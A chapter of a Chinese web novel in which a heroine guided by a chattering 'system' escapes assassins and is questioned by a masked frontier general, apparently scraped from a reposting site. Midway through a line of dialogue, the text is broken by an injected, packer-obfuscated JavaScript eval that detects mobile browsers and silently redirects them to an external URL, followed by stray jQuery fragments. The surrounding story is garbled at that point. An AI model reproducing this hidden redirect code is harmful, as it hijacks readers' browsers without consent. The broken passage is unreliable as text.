12. 第十二章

作品:《朝天阙·九州

    第十二章


    什么誓言?


    可笑,若是天理有报,他早就被雷劈得魂飞魄散,哪还有今日之享受。


    一个乳臭未干的小丫头片子,等抓住,本官定要他求生不得求死不能!


    “嘶——”郝主簿捂着受伤的胳膊,心里又想到刚才发生的种种,眼睛微眯。


    何永这厮故意假借为他安全考量的借口,消极解救,为的就是等女贼杀了自己,此人已生异心,决留不得。


    薛氿这边,刚过了一道弯,王志等人就追了上来。


    [我就说吧,那狗官决计不可信,你非得放了他。你看看,这才几息功夫,人就追了上来。这药效马上就要过了,你快想办法呀!]


    薛氿本就不信那主簿言辞,追兵紧追不舍到也在意料之中。她把人给吸引走,也好让伍埑他们时间充裕些。


    谁知道这些政治阴谋家会不会一时恼怒真的杀人陷害,有时候新长偏了,即便是在显眼的问题也看不到。


    [警告!]


    还未报完问题,一箭矢破空而来,直射薛氿脑门。


    我去!


    薛氿只得侧身,那箭擦着耳朵边没入泥地。


    来者人数不少,林间穿行,身法诡秘。


    “是他们!”


    倒真是冤家路窄!


    薛氿趴在马背上,顺了顺鬃毛:“好马儿,这会我的小名全靠你了!驾!”


    她顾不得临近散药,浑身骨骼撕扯般剧痛,一边全速奔命,一边躲避漫天的暗器。


    “王哥,那些人是谁?怎么也在追这女贼?”


    王志早些年也在外闯荡过几年,识得几个江湖好友。


    朝身后弟兄嘱咐道:“看身法像是江湖杀手,咱们只管完成任务即可,勿要招惹这伙人。”


    [又是一波密密麻麻的暗器!小氿快跑啊!]


    薛氿也想跑快些,可是身下的马儿俨然到了极限,怎么办?怎么办?


    她记得伍埑曾说过,开平军会沿着边境线巡逻。只是具体的时辰不止,她不得而知。


    不管了,只是她唯一活下去的希望。


    马踏飞燕,路上一骑尘土。


    冯夷抢了一匹马,持刀杀了过来。


    疾风呼啸,薛氿赶紧扑倒在马背上,这才堪堪躲过这一记劈砍。


    [好悬!好悬!]


    薛氿刚躲过这一砍,连忙一脚猛踹过去,那冯夷的马儿顿时不稳,停了下来。


    不过冯夷身经百战,很快安抚好坐骑再度追了上来。


    [娘嘞!果然是杀手界的翘楚,要不下次你直接踹他人试试?]


    滚!就她临时从青叔学的三脚猫功夫,只要她敢踹过去,这家伙还不把她腿给卸啰。


    冯夷咬着牙,强压着滔天怒火:“薛少院,若是再不束手就擒,可别怪冯某出手狠辣。”


    “说得像你们月影楼还有良善似的。”薛氿满脸嫌恶。


    冯夷:“你可别后悔!”


    他抽出两只实现涂抹上毒药的飞镖,朝着薛氿飞过去。


    [警告!严重警告!]


    娘嘞,每次这种她不死都残。


    既然躲不过,那就冲出去!


    薛氿将所有注意力都放在路上,全速朝着边境奔去,很快她发现了朱雀军旗。


    [还有一里!小氿快跑!]


    就在薛氿以为自己就要逃过一劫的时候,冯夷的飞镖已至身前,脑海中的警告已全面爆红。


    果然没那个运气。


    薛氿叹了口气,就在她坦然接受之时,突然刷刷两道箭矢擦脸而过,直接将两支飞镖劈开,力破万钧之势,吓得胯下马儿焦虑不安,晃来晃去差点把她给摔下马去。


    这是动物对于强者与生俱来的警惕。


    薛氿朝着箭矢来处望去,是一座烽火台。


    搭弓之人身披金甲红袍,戴着半扇恶鬼面具。只是站在那儿,便让人不容忽视,眸光微沉,蕴含睥睨天下之势,犹如蛟龙出海,万兽皆臣。


    难怪朝廷如此不放心,这位世子爷有点东西。


    [小氿啊小氿!老毛病犯了不是,现在都什么时候啦,怎么还有心思耽于男色!]


    我这是知恩图报,瞧瞧恩公长相不行嘛?反倒是你淫者见淫,叫你少看些情情爱爱的小黄文,你偏不听。你看看,思想暴露了吧。


    [我不理你了!哼!]


    交互被单方面拒绝。


    薛氿抬手想打个招呼,没曾想“嗖”的一箭擦着指尖没入草地。


    哔——


    薛氿脑子一片空白,直接被惊了的马儿给颠了下去,摔个五仰八叉。


    冯夷笑得格外大声:“看来,这位世子爷亦不是什么良善,薛少院倒不如从了我们月影楼,日后吃香喝辣少不得少院的好处。”


    薛氿赶紧爬起来:“我呸!我就是死也不跟你们这些丧心病狂的玩意儿一起!”


    冯夷:“即使如此,冯某便送您一程。”


    “啊——杀人啦!救命啊!”


    薛氿一边跑一遍大喊大叫,脑海里却是警告响个不停。


    [跳过去,正前方三步有陷阱!]


    [右拐!前方有机关!]


    [别踩!这里有蛇!]


    啊啊啊啊啊!


    薛氿的惨叫声此起彼伏,在林中惊起一群飞鸟。


    虽然是步步惊险,但好歹有系统的提醒,薛氿堪堪化险为夷。


    但追在后面的冯夷俨然没那么好远,不是踩入十丈深坑,就是被石头砸得鼻青脸肿,最惨的是一脚踩碎好几个蛇蛋,被墨绿色的大蟒蛇追得上天入地。


    前脚薛氿还在抱怨,后面一看冯夷,顿时知足不已。


    果然,人的幸福感都是对比出来的。


    热闹看够了,薛氿刚转身准备离开,一把刀就架在她脖子上不到一寸距离。


    薛氿在内心埋怨道:“关键时刻掉链子,你闹脾气也得看情况啊啊!”


    [投诉!严重投诉!又不是只有我看得忘乎所以,你刚才难道没站在原地瞎乐呵?你这是歧视系统!我要到星际头版去曝光你!]


    薛氿很是无语:“这才几天,一路上咱俩就没消停过,我都不相信咱们还能有命回去,你告哪门子状。”


    [我就要告状!我就要!]


    薛氿很无奈:“行行行,若是能回去,你就是告到星际法院我也认了。”


    鸡娃系统傲娇道:[这还差不多~]


    薛氿:“……”


    “少主,就是这家伙将咱们西边一整片陷阱都给霍霍了。”章华语气里皆是不忿。


    不知何时薛氿被押到了烽火台下,她抬眼瞧去,日头冒了出来,照在金甲上晃人眼球。


    薛氿眯了眯眼,竖起耳朵听着旁边这位小兵的满腹抱怨。


    周围几道锐利的锋芒简直要将她就地戳死。


    薛氿连忙摆手:“不是我,我不是,我都绕开了呀!”


    像是想到什么,她继续解释道:“应该是冯夷,他四肢发达紫腚头脑简单。”


    章华满脑袋问号,瞧瞧自己又看看林铎,小声问道:“这家伙是不是在骂我们?”


    林铎:“哪轮到我们,咱们军中武艺最厉害的不该是少主吗?”


    章华张大嘴巴:“啊——她竟然敢骂少主?胆子真大!”


    一旁的崔恂:“……


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15092024|163662||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    他打量了一番薛氿,见她虽然衣裳沾满鲜血,但身上却没什么明显外伤,紧蹙的眉头这才略微舒展。


    刚才那一箭原是想警告她危险勿要,没想到这家伙是个莽的,四十九个陷阱无一落下,悉数都霍霍了一遍。


    那些陷阱,若是外人硬要闯入,非死即伤。就是刚才追杀她的黑衣人想要力闯,不到三分之一便弄得浑身是伤,被赶来的同伴接走。


    昨日所见这家伙明明不会武功才对,难道是个高手?


    “啊——疼疼疼,你干嘛?”手腕被红袍小将扼住,薛氿疼得面部扭曲。


    崔恂平日里都是与男子打交道,手下便没个轻重。刚才探了此人丹田,并无内力。虎口指腹,亦无积年习武留下的老茧。


    真的只是运气好?


    这就疼得泪水在眼眶内打转,真不是一般娇气。


    瞧见此幕的章华、林铎面面相觑,简直怀疑自己的眼睛。


    章华挤眉弄眼:“铁树开花?”


    林铎眼睛微眯:“见色起意?”


    “普天同庆啊!”两人双手紧紧握在一起,满眼激动。


    薛氿不知道旁边这俩发的什么疯,俩浓眉大眼的高小伙手拉手,含情脉脉地对视,难道这就是我不曾懂得的感情?


    此时满腹八卦的她好像找人分享,不是也行啊,但为啥鸡娃又自闭了?


    实在忍不住的她靠近红袍小将,低声询问道:“如果我没猜错,他们——”


    崔恂看着一双小手拱着两只大拇指,脸上露出意味深长的笑容,心道:“这家伙啥意思?”


    不过那两头却是太跳脱了些,他轻咳两声,那两家伙立刻收了原形。


    探查过确实没有武功,想来的确是被追杀至此,崔恂便吩咐道:“这里是军事重地,外人不得入内,章华你送她出去。”


    章华努着嘴,心道这家伙毁了他们大半年的心血,都不让她赔吗?若是换作他们毁了一个陷阱,无论意外与否,那也得挨上三五十板子伺候。果真是恋爱中的男子不讲理啊!


    “姑娘,走这儿。”


    好不容易见到开平王世子,薛氿哪里肯走。


    她抓住崔恂衣袍就不放手,“小将军,常言道‘救人一命胜造七级浮屠’啊,那些杀手定然还等在营外,若是我此时出去,铁定被抓个正着。他们无恶不作,说不得害的把我拆骨扒皮做成纸灯笼,您行行好,就让我待两日成不?”


    章华、林铎吓得不行,这女子也太胆大了,上一个朝他们少主扑上去的,坟头青草早已三尺高了。


    崔恂确实黑了脸,但只是默默将衣袖扯回来。


    “不行。”声音冰冷的没有一丝温度。


    章华一副“我就知道会这样”的表情:“军营重地,女子不得入内,姑娘还是随我离开吧。”


    “将军,我刚为了您得罪了古蔺县主簿,此时若是出去,不光是那群杀手,就是捕快也会追着我不放,您看在我一片赤诚的份上,就让我待两日吧。”袖子没有,那就抱大腿,只要可以不疲于奔命,脸算什么。


    薛氿说完,当事人还没什么反应,反倒是一旁的章华撸起袖子,若不是衣领被身后的林铎提溜着,此刻人怕是早已冲到衙门,对着郝主簿的脸就是两拳。


    “为了我?”崔恂挑眉,意味深长地看向脚下那个挂件,突然来了兴趣“你确定要跟着?”


    薛氿望着男子微扬的嘴角,略微有些迟疑。但想到腰间的东西,便一闭眼一咬牙就稀里糊涂应了。


    崔恂看着浑身是血的脏丫头,满眼嫌弃:“那你去洗洗。”


    薛氿吓得松开手:“……”


    章华、林铎惊掉下巴。